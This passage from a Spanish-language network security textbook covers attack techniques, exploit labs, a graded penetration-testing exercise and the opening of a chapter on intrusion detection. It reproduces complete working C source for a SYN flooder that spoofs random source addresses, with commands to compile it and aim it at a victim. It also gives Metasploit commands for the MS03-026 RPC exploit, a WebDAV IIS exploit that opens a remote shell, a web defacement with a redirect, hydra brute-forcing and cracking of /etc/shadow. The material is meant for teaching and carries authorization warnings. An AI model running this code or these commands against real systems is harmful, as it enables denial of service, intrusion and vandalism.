de revisar las sesiones y se dar cuenta del ataque en curso. Esto har que el ataque fracase.
Si el servidor es un Linux
puede que se contengan los ataques activando la variable
IP_TCP_SYNCOOKIES=yes dentro del archivo /etc/sysconfig/sysctl
Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo.

Programas ms efectivos para el ataque

Esta es la opcin de preferencia para un ataque SYN DoS, pues no tiene lmite en el envo de paquetes, se
nota de inmediato por la baja de velocidad cuando estamos navegando:

Consiga el cdigo fuente del ataque:


/* EXCLUDED-TEAM [www.excluded.org] synflooder
creats random source ips and source ports on flooding.

syn [dest-ip] [dest-port] {fuck off}


dest-ip: victims ip-address
dest-port: port to synflood
{fuck off}: enter a string here if you want to send your victim
this short (?) message

by l0om
*/
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>

#define

RANDVAL()

(rand()%255)

ssize_t tcpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, unsigned char flags,
char *data, unsigned short datalen);
unsigned short in_cksum(unsigned short *ptr, int nbytes);

148

Parte II, Captulo 4 Tcnicas bsicas de ataques

void help(void);
void header(void);
static void sig_int(int sig);

struct pseudohdr {
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
unsigned long sent = 0;

/* for creating the checksums */

int main(int argc, char **argv)


{
char ip[15] = {0};
unsigned int victim;
unsigned short destport;
int nbytes;
header();
if(argc < 3) { help(); exit(0); }
rand(getpid());
victim = inet_addr(argv[1]);
destport = atoi(argv[2]);
if(signal(SIGINT, sig_int) == SIG_ERR) {
fprintf(stderr, "cannot install signal handler\n");
exit(-1);
}
printf("hit [enter] to syn flood %s on port %s",argv[1],argv[2]);
if(argc == 4) printf(" with [%s] as payload in every packet",argv[3]);
printf("\npress CTRL+C to quit...\n");
read(1,ip,2);
printf("\nflooding...\n");
while(1 > 0) { /* i love this one */
snprintf(ip, 15, "1.%d.%d.%d\n",RANDVAL(),RANDVAL(),RANDVAL());
nbytes = tcpsend(inet_addr(ip),
victim,
RANDVAL()+2003,
destport,
TH_SYN,
((argc > 3) ? argv[3] : ""),
((argc > 3) ? strlen(argv[3]) : strlen("")));
if(nbytes == 0) {
fprintf(stderr,"send error (%d packets have been sent)\n",sent);
exit(-1);
}
sent++;
}
return(0);
}

ssize_t tcpsend(unsigned int saddr, unsigned int daddr, unsigned short sport,
unsigned short dport, unsigned char flags, char *data,
unsigned short datalen)
{
char *packet;
struct iphdr *ip;

149

Parte II, Captulo 4 Tcnicas bsicas de ataques

struct tcphdr *tcp;


struct pseudohdr *pseudo;
struct sockaddr_in servaddr;
int retval, sockfd, on = 1;
packet = (char *)malloc((sizeof(struct iphdr)+
sizeof(struct tcphdr)+datalen)*sizeof(char));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(dport);
servaddr.sin_addr.s_addr = daddr;
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(sockfd < 0) {
fprintf(stderr,"cannot creat socket\n");
return(0);
}
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
fprintf(stderr, "cannot setservaddr\n");
return(0);
}
ip = (struct iphdr *)packet;
tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct
pseudohdr));
memset(packet, 0x00, sizeof(packet));
memcpy(packet+sizeof(struct iphdr)+sizeof(struct tcphdr), data, datalen);
pseudo->saddr = saddr;
pseudo->daddr = daddr;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr) + datalen);
tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = rand() + rand();
tcp->th_ack = rand() + rand();
tcp->th_off = 5;
tcp->th_flags = flags;
tcp->th_win = htons(2048);
tcp->th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) +
sizeof(struct pseudohdr) + datalen);
memset(ip, 0x00, sizeof(struct iphdr));
ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen);
ip->id = rand();
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = saddr;
ip->daddr = daddr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
if((retval = sendto(sockfd, packet, ntohs(ip->tot_len), 0,
&servaddr, sizeof(servaddr))) == -1)
return(0);
close(sockfd); return(retval);
}
unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
register long
sum;
u_short oddbyte;

150

Parte II, Captulo 4 Tcnicas bsicas de ataques

register u_short answer;


sum = 0;
while(nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1)
{
oddbyte = 0;
*((u_char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
static void sig_int(int sig) {
printf("\n\n\tRECEIVED INTERRUPT SIGNAL - [STOP]\n");
printf("\t%d packets have been sent\n",sent);
sleep(1);
exit(0);
}
void help(void) {
puts("syn [dest-ip] [dest-port] {send this string every time to host}");
}
void header(void) {
puts(" ###################
[www.excluded.org] ");
}

SYN-FLOOD

###################l0om

Para compilarlo digite:


# cc o syn.exe syn.c

Ahore ejecute el ataque:


# ./syn.exe ip_vctima puerto_vctima hola

Pruebe la navegacin debe estar super lenta.

Detenga el ataque presionando las teclas Ctrl-C,

Cmo esta la velocidad de navegacin?

151

Parte II, Captulo 4 Tcnicas bsicas de ataques

4.0

Ataques de tipo exploits

Agradecimientos:
Se le agradece al Ing. Juan Francisco Torres de la Universidad de los Andes, Colombia, por las mejoras
sugeridas para este laboratorio, juan.francisco@globalteksecurity.com

4.1

Diagrama del ataque

Origen
Atacante hace ping a vctima

Destino
Vctima no responde si tiene firewall activado para
no reponder a icmp-request

Se hace exploracin de puertos sin hacer ping

Vctima cree que el atacante es un usuario que


desea los servicios prestados por la vctima

Atacante prueba ataque webdav contra puerto 80

Si la vctima ya fue atacada el servidor no prestara


servicios por el puerto 80
Dara la sensacin al administrador y a los usuarios
finales que el servicio esta cado, el administrador lo
reiniciara, pero estos no sabe que esta bajo el
ataque webdav

Si la vctima ya fue atacada el atacante debe


esperar a que el administrador reinicie el servicio
Atacante hace anlisis de vulnerabilidades para no
esperar tanto tiempo, entonces descubre una
vulnerabilidad de RPC muy documentada

Vctima muestra sus vulnerabilidades a nessus

Atacante usa el framework metasploit


para hacer un exploit al servidor vctima

La vctima es penetrada y queda con permisos de


administrador

versin 2

152

Parte II, Captulo 4 Tcnicas bsicas de ataques

4.2

Laboratorio: Penetracin de servidor Windows con metaesploit

Objetivo:

Utilizar la herramienta Nessus para encontrar vulnerabilidades

Utilizar la herramienta metasploit para hacer un exploit a un servidor Windows


El framework mesploit es un entorno de desarrollo basado en modulos para construir ataques, permite
probarlos e integrarlos en una plataforma de pruebas de penetracin automatizada
Prerrequisitos:

Equipo con sistema operativo Windows 2003 recien instalado

Equipo con Linux BackTrack (http://www.remote-exploit.org)

Herramienta de anlisis de vulnerabilidades Nessus o similar instalada y en funcionamiento

Herramienta de penetracin metaspolit versin 2

Se supone que la IP de la vctima es 192.168.100.55

Verificar que ya se cuenta con un IP, comando ifconfig, si no tiene IP entonces solamente deber
ver la tarjeta de red loopback

Si no tiene IP digite /etc/init.d/networking start


Notas importantes:

Se recomienda usar maquinas virtuales para emular los diferentes sistemas operativos.

Las pruebas realizadas para exploracin y uso de ataques pueden comprometer los sistemas
utilizados, nunca deben hacerse sin previo conocimiento de los administradores de los sistemas
evaluados.

En cada pas existen diferentes leyes hasta de tipo penal, por favor no haga este laboratorio con
servidores reales sin previa autorizacin del dueo del mismo.

Paso 1: Reconocimiento de la vctima


Inicialmente se realiza un ping a la IP del servidor, para verificar que este se encuentra disponible, esto
tambin permite intuir si existe un mecanismo de proteccin perimetral adicional como un firewall que pueda
impedir el ataque:
# ping 192.168.100.55
Un servidor Windows configurado con firewall generalmente no responder a la herramienta ping

Paso 2: Enumeracion de servicios de la vctima


Se utiliza la herramienta nmap para hacer exploracin de puertos, la idea es enumerar los servicios que la
vctima esta prestando.
Esta informacin confirma la presencia de diferentes servicios y nos da idea de que vulnerabilidades tiene el
servidor de la vctima:
# nmap sV P0 p 0-65534 192.168.100.55
Nota: -P0 indica no hacerle ping a la vctima, esto lo sabemos por el paso 1
Se obtiene el siguiente resultado de enumeracin de servicios:
Starting Nmap 4.00 ( http://www.insecure.org/nmap/ ) at 2005-08-08 08:54 COT
Interesting ports on 192.168.100.55:
(The 65513 ports scanned but not shown below are in state: closed)
PORT
STATE SERVICE
VERSION
7/tcp open echo
9/tcp open discard?
13/tcp open daytime
Microsoft Windows daytime
17/tcp open qotd
Windows qotd (Spanish)
19/tcp open chargen
21/tcp open ftp
Microsoft ftpd 5.0
25/tcp open smtp
Microsoft ESMTP 5.0.2195.6713
42/tcp open wins
Microsoft Windows Wins

153

Parte II, Captulo 4 Tcnicas bsicas de ataques

53/tcp open domain


Microsoft DNS
80/tcp open http
Microsoft IIS webserver 5.0
135/tcp open msrpc
Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
1025/tcp open msrpc
Microsoft Windows RPC
1028/tcp open msrpc
Microsoft Windows RPC
1031/tcp open mstask
Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
1032/tcp open mstask
Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
1034/tcp open msrpc
Microsoft Windows RPC
1040/tcp open msrpc
Microsoft Windows RPC
3372/tcp open msdtc
Microsoft Distributed Transaction Coordinator
3389/tcp open ms-term-serv?
MAC Address: 00:0C:29:24:AE:F3 (VMware)
Service Info: Host: w2000test; OS: Windows
Nmap finished: 1 IP address (1 host up) scanned in 110.056 seconds

Paso 3: Primer intento de ataque sobre la vulnerabilidad WEBDAV del servidor MS IIS
Dado que el puerto 80 esta abierto, es posible utilizar uno de los exploits disponibles para este puerto.
Se utilizara uno de los disponibles en la herramienta backtrack , en este caso se intentara realizar el ataque
Exploit WebDav sobre este puerto
Para ello, se debe cargar el Live CD de esta herramienta, y entrar a la linea de comandos como root y
clave toor.
Busque el programa que hace el exploit en internet como rs_iis.c compilelo hacia el ejecutable rs_iis.exe:
# gcc o rs_iis.exe

rs_iis.c

Se ejecuta con el siguiente comando:


# ./rs_iis.exe 192.168.100.55 80 31337
El resultado es el siguiente:

154

Parte II, Captulo 4 Tcnicas bsicas de ataques

Figura 4-3: Ataque WEBDAV para MS IIS


El ataque se realiza con xito, abriendo el puerto 31337 para conexin al servidor vctima, ahora solo es
necesario conectarse a ese puerto:
# telnet 192.168.100.55 31337
Se obtiene el siguiente resultado, una lnea de comandos en el servidor remoto:

Figura 4-4: xito del ataque WEBDAV para MS IIS

155

Parte II, Captulo 4 Tcnicas bsicas de ataques

NOTA: El ataque ser exitoso nicamente si el servidor Web en el puerto 80 tiene la vulnerabilidad de la que
aprovecha el ataque, de lo contrario, el ataque reportar que el servidor no es vulnerable:

Figura 4-5: Servicio no vulnerable WEBDAV de MS IIS


Este mensaje tambin aparecer si otro atacante ya se aprovecho de la vulnerabilidad, pero cuando el
usuario reinicie el sistema quedara vulnerable nuevamente.
Generalmente los Windows 2003 ya estn con suplementos para esta falla y este ataque no ser
exitoso.

Paso 4: Probar otros ataques mas efectivos haciendo anlisis de vulnerabilidades


Con el fin de realizar un ataque ms preciso, es necesario determinar exactamente cuales pueden ser las
vulnerabilidades presentes, esto permite bucar y utilizar las herramientas apropiadas.
A continuacin, ejecutaremos nessus para ver las vulnerabilidades que detecta. Dependiendo de la versin
de la herramienta utilizada, la forma de ejecucin cambia.
En el caso del servidor con Windows 2000 o 2003 sin parches se encontraran las vulnerabilidades:

Puerto

Severidad

Descripcin

Factor
riesgo

de

epmap
(135/tcp)

Hole

The remote host has multiple bugs in its RPC/DCOM Critical / CVSS
implementation (828741).
Base Score : 10
An attacker may exploit one of these flaws to execute
arbitrary code on the remote system.

exosee
(1027/tcp)

Hole

There is a flaw in the Task Scheduler application which Critical / CVSS


could allow a remote attacker to execute code remotely. Base Score : 10
There are many attack vectors or this flaw. An attacker,
exploiting this flaw, would need to either have the ability
to connect to the target machine or be able to coerce a
local user to either install a .job file or browse to a
malicious website.

microsoftds
(445/tcp)

Hole

The remote version of Windows contains a flaw in the Critical / CVSS


function RemoteActivation() in its RPC interface which Base Score : 10
may allow an attacker to execute arbitrary code on the
remote host with the SYSTEM privileges.
A series of worms (Blaster) are known to exploit this
vulnerability in the wild.

156

Parte II, Captulo 4 Tcnicas bsicas de ataques

Puerto

Severidad

Descripcin

Factor
riesgo

smtp
(25/tcp)

Hole

The remote Windows host has a ASN.1 library which is High


vulnerable to a flaw which could allow an attacker to
execute arbitrary code on this host.

de

To exploit this flaw, an attacker would need to send a


specially crafted ASN.1 encoded packet with improperly
advertised lengths.
This particular check sent a malformed
authorization packet and determined that
the remote host is not patched.

SMTP

Paso 5: Ejecutar ataque basado en framework mas efectivo


El anlisis de vulnerabilidades revela un problema de seguridad en el puerto 445 referente al servicio RPC,
buscando en google se encuentra que la vulnerabilidad es bien conocida y se llama msrpc_dcom_ms03_026.
Con esta informacin, es posible entonces utilizar un ataque especficamente diseado para esta
vulnerabilidad.
Para ellos se utilizar la herramienta Framework Metasploit 2, tambin disponible en el CD de Backtrack. Una
vez se ejecuta esta distribucin, se debe ubicar la siguiente carperta:
# cd /pentest/exploits/framework2
A continuacin se muestran los comandos que se deben ejecutar para utilizar este framework y utilizar el
exploit apropiado para esta vulnerabilidad:
# ./msfconsole
Msf > use msrpc_dcom_ms03_026
Msf > set PAYLOAD win32_bind
Msf > show options
Msf > set RHOST 192.168.100.55
Msf > exploit
Donde:
use msrpc_dcom_ms03_026
Determina el tipo de exploit a utilizar, disponible de la lista del framework obtenida con show exploits.
set PAYLOAD win32_bind
Determina el tipo de carga o resultado del ataque, disponible de la lista del framework obtenida con show
payloads.
set RHOST 192.168.100.55
Ajusta los parmetros requeridos por el exploit, particularmente el servidor objetivo que se desea atacar.
Cuando el ataque es exitoso, se muestra la siguiente informacin:

157

Parte II, Captulo 4 Tcnicas bsicas de ataques

Figura 4-6: Exploit msrpc_dcom_ms03_026 del servicio 445 con fallas RPC
El exploit permitio inyectar una linea de comandos en el servidor, la cual se puede operar directamente. De
esta manera, se tiene acceso al disco duro del servidor atacado, para consultar informacin dentro del
mismo.

Paso 6: La maquina vctima es consultada con permisos de usuario administrador


Ver la tabla de enrutamiento de la vicitima:
C:\> netstat -na
De la misma manera, es posible utilizar el mismo exploit para utilizar otras cargas, e inyectar usuarios
nuevos, servidores remotos, o cualquier otra operacin que se requiera sobre el servidor.
Modificar la pagina web por defecto del servidor IIS:
C:\> cd \inetpub\wwwroot
C:\> echo Webdefacement exitoso. Servidor web dbil > index.htm
Revise la pagina web desde un explorador
Adicione la siguiente lnea al archivo index.htm y pruebe nuevamente con un explorador web:
echo "<meta http-equiv="Refresh" content="5; url=http://www.globalteksecurity.com"> "
index.htm

158

>

Parte II, Captulo 4 Tcnicas bsicas de ataques

4.3

Prctica:

Pruebas de penentracion a una arquitectura de red basado en caja negra para la IP Pblica del
dominio lacositarica.dyndns-work.com
Objetivos:

Generar en el investigador la capacidad de entender que las pruebas de penetracin deben ser
planeadas y tratadas en forma sistemtica para obtener los resultados buscados

Generar capacidad de arquitectar y entender en el investigador para interrelacionar los diferentes


vectores de ataques que la inseguridad informtica genera haciendo que las amenazas se
aprovechen de las vulnerabilidades para configurar el riesgo

Familiarizar al investigador en un entorno real con las fallas ms usuales de los sistemas
informticos y las herramientas que le pudieran ayudar a mejorar la seguridad informtica

Medir la capacidad de ingenio frente a eventos inesperados y desconocidos

Especficamente el investigador debe penetrar dos servidores en red que estn detrs de un
firewall, en donde el segundo servidor contiene informacin confidencial en el archivo/fichero
"porfin.txt"

Antecedentes:

Las diferentes metodologas para hacking tico generalmente siguen los siguientes pasos como se
enumeran en el siguiente diagrama:

Las pruebas realizadas para exploracin y ataques pueden comprometer los sistemas informticos,
por ello nunca deben hacerse sin previo conocimiento de los administradores de los sistemas
evaluados
En algunos pases existen leyes penales que prohben estas prcticas no autorizadas, por ejemplo
en Colombia la ley 1273 de enero de 2009 condena hasta 48 meses de prisin a una persona por
invadir un sistema informtico en forma no autorizada
Por favor no haga este laboratorio con servidores reales sin previa autorizacin de sus dueos
La IP lacositarica.dyndns-work.com est autorizada explcitamente por el autor de este
texto para hacer estas pruebas de penetracin de carcter acadmico que busca
demostrar pruebas de conceptos en pruebas de penetracin y bsqueda de
vulnerabilidades

159

Parte II, Captulo 4 Tcnicas bsicas de ataques

Herramientas:

Equipo de computo o PC para pruebas de pentest con Linux BackTrack (http://www.remoteexploit.org)


Utilizar las herramientas Saint y OpenVAS para encontrar vulnerabilidades de red
Utilizar las herramienta Saint y metasploit para verificar y hacer penetraciones
Utilizar la herramienta john the ripper para verificar claves dbiles de los sistemas operativos
Utilizar la herramienta hydra y medusa para verificar claves dbiles de la red
El investigador podr utilizar herramientas libres o comerciales para conseguir los objetivos de esta
prctica

Calificacin o nota del estudiante investigador para esta prctica:

Se sugiere calificar a cada investigador en el orden de llegada o penetracin al segundo sistema


pues cada uno (hacker tico) dejar un archivo/fichero en el segundo servidor penetrado con su
nombre y una copia de este informe con su razonamiento personal
El primer investigador que penetre a un segundo servidor de la red tendr una nota de 5, el
segundo 4.9, el tercero 4.8 y as sucesivamente. El estudiante que no haga la prctica tendr nota
de 0 pues no aparecer su archivo/fichero con el informe en el segundo sistema penetrado
Si logra penetrar nicamente el primer servidor de IP pblica pero no llega al segundo servidor
entonces no podr crear su identificador en el disco principal y carpeta raz con el archivo/fichero
identificando su nombre y tampoco podr dejar su reporte de la prctica, esta penetracin bsica no
genera nota (Entonces su nota es cero) para ese estudiante
No se debe olvidar leer las instrucciones que se dejaron en el segundo servidor a penetrar pues
finalmente hay informacin valiosa en el archivo/fichero sensible "porfin.txt"

ACTIVIDADES
Paso 1: Reconocimiento de la vctima
Inicialmente se debe realizar un ping a la IP de la vctima para verificar que este se encuentra
supuestamente disponible, esto tambin permite intuir si existe un mecanismo de proteccin perimetral
adicional como un firewall que pueda impedir la respuesta del ping y hacer que el atacante crea que este
servidor est apagado o no existe en la red:
# ping lacositarica.dyndns-work.com
Un servidor Windows configurado como firewall generalmente no responder a la herramienta ping, un
firewall de permetro podra estar delante del servidor vctima y podra impedir la respuesta del firewall al
ping del atacante
Razonamiento del investigador:
a) Qu respuesta obtiene de la herramienta ping de esta prctica?
Respuesta del investigador/Auditor:

b) Explique cmo funciona en TCP/IP el requerimiento ICMP-Request que utiliza la herramienta ping?
Respuesta del investigador/Auditor:

c) Quin es el proveedor de este IP pblico, tiene un nombre DNS registrado, que herramienta uso para
buscar esta informacin?
Respuesta del investigador/Auditor:

d) Esta IP est en listas negras de spammers, en que portales busc esta informacin?
Respuesta del investigador/Auditor:

160

Parte II, Captulo 4 Tcnicas bsicas de ataques

Paso 2: Enumeracin de servicios de la vctima


Una herramienta til es nmap pero existen muchas utilidades para hacer explotacin de puertos, la idea es
enumerar los servicios que la vctima est prestando. La informacin suministrada puede ayudar a confirmar
la supuesta presencia de diferentes servicios en la vctima:
# nmap sV -O P0 p 0-65534 lacositarica.dyndns-work.com
a) Qu servicios supuestos est prestando la vctima?
Respuesta del investigador/Auditor:

b) Qu sistema operativo usa el servidor vctima segn la herramienta nmap, cual es la opcin en nmap
que averigua el sistema operativo de la victima?
Respuesta del investigador/Auditor:

Paso 3: Anlisis de vulnerabilidades de la vctima


Herramienta tiles de licencia libre que usan los auditores e instrusos para buscar fallas son OpenVAS y
NexPose, pero existen otras herramientas comerciales como Saint de saintcorporation, Tenable Nessus y
McaFee entre muchas que permiten hacer un inventario de fallas de la vctima, muestra su nomenclatura
estandard segn CVE/Mitre, muestra el impacto que tendra la explotacin de esa falla, recomienda como
solucionar la vulnerabilidad o falla y mucha mas informacin valiosa para el atacante o auditor:
a) Qu fallas presenta la vctima?
Respuesta del investigador/Auditor:

b) Qu herramienta utiliz para buscar las fallas en la vctima?


Respuesta del investigador/Auditor:

c) muestre los pasos de instalacion y configuracion de la herramienta utilizada para buscar las fallas en la
vctima?
Respuesta del investigador/Auditor:

161

Parte II, Captulo 4 Tcnicas bsicas de ataques

Paso 4: Penetracin mediante exploits de fallas y claves dbiles de administradores


Una herramienta til de licencia libre para hacer exploits es metaesploit, pero existen otras herramientas
comerciales como saint de www.saintcorporation.com que automatizan esta tarea:
a) A qu fallas logr penetrar en la vctima?
Respuesta del investigador/Auditor:

b) Qu herramienta utiliz para penetrar en las fallas de la vctima?


Respuesta del investigador/Auditor:

c) Si no pudo penetrar con un exploit, qu estrategia utiliz para penetrarlo, por ejemplo adivin la clave de
algun administrador del sistema, uso herramientas como hydra y medusa, muestre la sintaxis del comando
utilizado?
Pistas: Por ejemplo esta instruccion nos muestra en pantalla si existe el usuario root con alguna clave que
exista en el diccionario "password.lst" contenida en el linux backtrack:
# hydra -t 8 -f -l root -P password.lst lacositarica.dyndns-work.com ssh
Respuesta del investigador/Auditor:

d) Cul es la IP real, Mac Address, Mascara de red, Gateway, servidores DNS y nombre del primer servidor
penetrado?
Respuesta del investigador/Auditor:

e) Por qu la IP pblica lacositarica.dyndns-work.com no es igual a la IP del primer servidor penetrado?


Respuesta del investigador/Auditor:

f) Existen ms interfaces de red en este primer servidor penetrado, cuales son las IP adicionales?
Respuesta del investigador/Auditor:

g) Qu significa CVE/Mitre en analisis de vulnerabilidades?


Respuesta del investigador/Auditor:

h) Cual es el password del usuario acarvaja del primer servidor hackeado, cuan fuertes son las claves de los
usuarios en ese servidor?
Pistas: Por ejemplo al entrar a un servidor linux por algun mtodo y usar la herramienta "john the ripper" se
podran romper las claves de los usuarios del sistema, un ejemplo prctico con esta herramienta se debera
ejecutar asi:
./john /etc/shadow
Respuesta del investigador/Auditor:

162

Parte II, Captulo 4 Tcnicas bsicas de ataques

Paso 5: Mapa de red de la vctima


La informacin clasificada o confidencial puede estar en cualquier elemento activo de red, en especial
computadores personales y hasta en servidores de red, para esta prctica debe hacer un mapa de red de la
victima e identificar el elemento activo de red donde resida un archivo/fichero llamado "porfin.txt", esta pista
es crtica para finalizar la prctica. Busque un segmento de red donde haya un servidor Microsoft Windows
2003 que comparta archivos e impresoras (puerto 445)...esto es muy lgico en el mundo real y es lo
primero que buscan los delincuentes. Suponga que las IP de la vctima son:
IP primera interface de red = 1.2.3.4
IP segunda interface de red = 5.6.7.8
Ejecute las siguientes bsquedas con nmap desde el servidor penetrado pero reemplace la IP de la primera
interface por la verdadera IP encontrada y as mismo reemplace la IP de la segunda interface de red por la
IP verdadera en los siguientes comandos:
# nmap v -O -P0 -p 0-65534 1.2.3.4/24
a) Cul es el mapa de red con sus puertos abiertos para la primera interface de red?
Respuesta del investigador/Auditor:

# nmap v -O -P0 -p 0-65534 5.6.7.8/24


b) Cul es el mapa de red con sus puertos abiertos para la segunda interface de red?
Respuesta del investigador/Auditor:

c) Describa las opciones -v, -O y -P0 de la herramienta nmap, en especial que tcnica de exploracin usa
este ejemplo de la herramienta nmap con los parametros utilizados?
Respuesta del investigador/Auditor:

d) Qu pasara con el tiempo de exploracin de las herramientas si cambiamos la mscara de red de 24 bits
a 16 bits?
Respuesta del investigador/Auditor:

Paso 6: Penetracin del segundo servidor donde est la informacin confidencial


a) A qu fallas logr penetrar en la segunda vctima?
Respuesta del investigador/Auditor:

b) Qu herramienta utiliz para penetrar en las fallas de la segunda vctima de la red protegida, en que
directorio del primer servidor descarg la herramienta de exploits para entrar al segundo servidor?
Respuesta del investigador/Auditor:

c) Muestre las lneas de comandos de la herramienta que utiliz para hacer el exploit?
Tip: El framework metasploit que viene incluido en linux backtrack puede penetrar a los servidores windows
2003 que no tienen suplementos a la fecha por el puerto 445, as:
# ./msfconsole
Msf > use msrpc_dcom_ms03_026
Msf > set PAYLOAD win32_bind
exploit

163

Parte II, Captulo 4 Tcnicas bsicas de ataques

...
Respuesta del investigador/Auditor:

d) Cul es la IP, Mac Address, Mascara de red, Gateway y versin del segundo servidor penetrado?
Respuesta del investigador/Auditor:

e) Qu deca el archivo/fichero de tipo confidencial que reside en el directorio raz "porfin.txt" del segundo
servidor penetrado?
Respuesta del investigador/Auditor:

Paso 7: Aseguramiento de los servidores


a) Muestre paso a paso qu software de aseguramiento utiliz (por ejemplo pruebe ossec), como lo instal,
como lo configur, si se hace un ataque con hydra puede detener el ataque para evitar el acceso remoto por
el puerto ssh?
Respuesta del investigador/Auditor:

b) Describa teoricamente el procedimiento de borrado de huellas a nivel forense, no olvide que el sistema
operativo debe quedar operativo?
Respuesta del investigador/Auditor:

c) Si la victima es un honeypot que detalles o evidencia se encontro para afirmarlo?


Respuesta del investigador/Auditor:

d) Ser prudente desactivar ssh y cambiarlo por una VPN, razone su respuesta?
Respuesta del investigador/Auditor:

Paso 8: Aseguramiento de Aplicaciones


a) Muestre especificamente que herranienta uso para encontrar fallas en el portal web puerto 80, por
ejemplo nikto, nexpose, acunetix, nessus(plugin web, paros, etc)?
Respuesta del investigador/Auditor:

b) Muestre especificamente en detalle como soluciono las vulnerabilidades halladas?


Respuesta del investigador/Auditor:

c) Muestre especificamente en detalle como soluciono la vulnerabilidades de configuracion del archivo plano
/etc/configuracion.txt?
Respuesta del investigador/Auditor:
d) Muestre el resultado de la investigacion de cmo inlcuirle a la aplicacin web metodos de autenticacion
por certificado digital, huella dactilar, matriz con numeros, menjaes SMS, tokens de numeros OTP?
Respuesta del investigador/Auditor:

164

Parte II, Captulo 4 Tcnicas bsicas de ataques

Conclusiones y recomendaciones de la prctica para evitar estas fallas:


Respuesta del investigador/Auditor:
1)
2)
3)
4)

Datos del Auditor/Investigador:


Nombre:
Identificacin:

165

Parte II, Captulo 4 Tcnicas bsicas de ataques

5.0

Evaluacin del Modulo

5.1

Cul es el objetivo de un ataque DoS?

5.2

Describa el ataque snork?

5.3

Describa el ataque smurf?

5.4

Describa el ataque syn flood?

5.5

Describa el ataque webdav contra el MS IIS?

6.0

Bibliografa Relacionada

www.metasploit.org

www.excluded.org
www.nessus.org
www.saintcorporation.com

166

Captulo 5
Sistemas para la deteccin de
intrusiones
Objetivos:

Define los diferentes tipos de IDS: HIDS, NIDS y DNIDS

Revisar las diferentes arquitecturas de IDS

Revisar en que parte de la red colocar el IDS

Profundizar en detalles sobre snort para implementar un IDS

Como se crean las reglas en snort

Implementacin de un laboratorio prctico


1.0

Sistemas de deteccin de intrusiones (IDS)

TIPOS DE IDS

Segn sus caractersticas


1. HIDS (Host IDS) : Hosts Intrusion Detection System
2. NIDS (Net IDS): Network Intrusion Detection System
3. DNIDS (Distr Net IDS):Distributed Network Intrusion Detection
System

Por el tipo de respuesta


1. PASIVOS
2. ACTIVOS

Figura 5-1: Tipos de sistemas de deteccin de intrusiones

Un IDS o Sistema de Deteccin de Intrusiones es una herramienta de seguridad que intenta


detectar o monitorear los eventos ocurridos en un determinado sistema informtico o red
informtica en busca de intentos de comprometer la seguridad de dicho sistema

167

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

Los IDS buscan patrones previamente definidos que impliquen cualquier tipo de actividad
sospechosa o maliciosa sobre la red o host
Los IDS aportan a la seguridad una capacidad de prevencin y de alerta anticipada ante
cualquier actividad sospechosa. No estn diseados para detener un ataque, aunque s pueden
generar ciertos tipos de respuesta ante stos
Los IDS: Vigilan el trfico de la red, examinan los paquetes analizndolos en busca de datos
sospechosos y detectan las primeras fases de cualquier ataque como pueden ser el anlisis de la
red, barrido de puertos, etc.

2.0

Tipos de ids

2.1

Clasificacion segn sus caractersticas

2.1.1

HIDS (Host IDS): Intrusion Detection System

Protege contra un nico Servidor, PC o host. Monitorean gran cantidad de eventos, analizando actividades
con una gran precisin, determinando de esta manera qu procesos y usuarios se involucran en una
determinada accin. Recaban informacin del sistema como archivos, logs, recursos, etc, para su posterior
anlisis en busca de posibles incidencias. Todo ello en modo local, dentro del propio sistema. Fueron los
primeros IDS en desarrollar por la industria de la seguridad informtica.

2.1.2

NIDS (Net IDS):Network Intrusion Detection System

Protege un sistema basado en red. Actan sobre una red capturando y analizando paquetes de red, es decir,
son sniffers del trfico de red. Luego analizan los paquetes capturados, buscando patrones que supongan
algn tipo de ataque.
Bien ubicados, pueden analizar grandes redes y su impacto en el trfico suele ser pequeo. Actan mediante
la utilizacin de un dispositivo de red configurado en modo promiscuo (analizan,"ven" todos los paquetes
que circulan por un segmento de red aunque estos nos vayan dirigidos a un determinado equipo). Analizan
el trfico de red, normalmente, en tiempo real.
*A este tipo de IDS pertenece Snort.

2.1.3

DNIDS

Este tipo de IDS, ms que proteger, monitorea la actividad entre varias redes. Tiene una visin global pues
su arquitectura es distribuida
2.2

Clasificacion por el tipo de respuesta

2.2.1

Pasivos

Son aquellos IDS que notifican a la autoridad competente o administrador de la red mediante el sistema
que sea, alerta, etc. Pero no acta sobre el ataque o atacante.
2.2.2

Activos

Generan algn tipo de respuesta sobre el sistema atacante o fuente de ataque como cerrar la conexin o
enviar algn tipo de respuesta predefinida en la configuracin.
Snort puede funcionar de las dos maneras.

168

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

3.

Arquitectura de un ids

ARQUITECTURA DE UN IDS
 Los

elementos necesarios para la


construccin de un sistema para la
deteccin de intrusos se pueden agrupar
en las siguientes cuatro categoras:
 1) Recolectores de informacin
 2) Procesadores de eventos
 3) Unidades de respuesta
 4) Elementos de almacenamiento

